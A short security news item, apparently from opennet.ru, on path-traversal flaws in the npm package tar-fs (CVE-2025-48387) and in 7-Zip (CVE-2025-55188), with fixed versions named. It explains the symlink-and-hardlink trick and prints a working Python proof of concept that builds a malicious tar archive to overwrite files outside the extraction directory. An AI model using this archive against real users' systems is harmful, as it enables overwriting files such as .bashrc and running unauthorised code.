A vulnerability has been identified in the NPM package tar-fs (CVE-2025-48387) that allows specially crafted tar archives to extract files to arbitrary locations in the file system, unrestricted by the directory into which the extraction occurs (subject to the current user's access rights). The vulnerability can also be exploited to overwrite existing files; for instance, files like '.ssh/id_rsa' or '.bashrc' in the user's home directory could be overwritten to facilitate the execution of unauthorized code.
The issue has been assigned a critical severity level considering that the tar-fs package has 23 million downloads per week and is used as a dependency in 1,155 projects. The vulnerability was addressed in releases 3.0.9, 2.1.3, and 1.16.5, which were created in May, but details about the vulnerability were not disclosed until nearly three months later.
The vulnerability stems from insufficient checks for symbolic and hard links in the archive that could lead to them escaping the target directory for extraction. Two symbolic links are utilized to bypass the checks: the first points to the root of the extraction directory ('.'), and the second is created relative to the first symbolic link, using '../' in its name to exit the base directory. For example, the first link 'noop/noop/noop' points to '.', while the second 'noop/noop/noop/../../../..' resolves to './../../../..'. To facilitate file overwriting in the archive, a hard link referring to an external file can be created relative to the second symbolic link. import tarfile import io with tarfile.open('poc.tar', mode='x') as tar: root = tarfile.TarInfo('root') root.linkname = ('noop/' * 15) + ('../' * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo('noop') noop.linkname = '.' noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo('hardflag') hard.linkname = 'root/home/username/flag/flag' hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b'overwrite\n' overwrite = tarfile.TarInfo('hardflag') overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b'new!\n' newfile = tarfile.TarInfo('root/home/username/flag/newfile') newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
A similar vulnerability (CVE-2025-55188) has been identified in the 7-Zip archiver. Symbolic links containing the sequence «..\/» in the file path can be used in 7-Zip to write files outside the base directory. This issue can be exploited when unpacking any archives that support symbolic links with 7-Zip, such as zip, tar, 7z, and rar. The issue has been fixed in version 7-Zip 25.01.
Source: opennet.ru
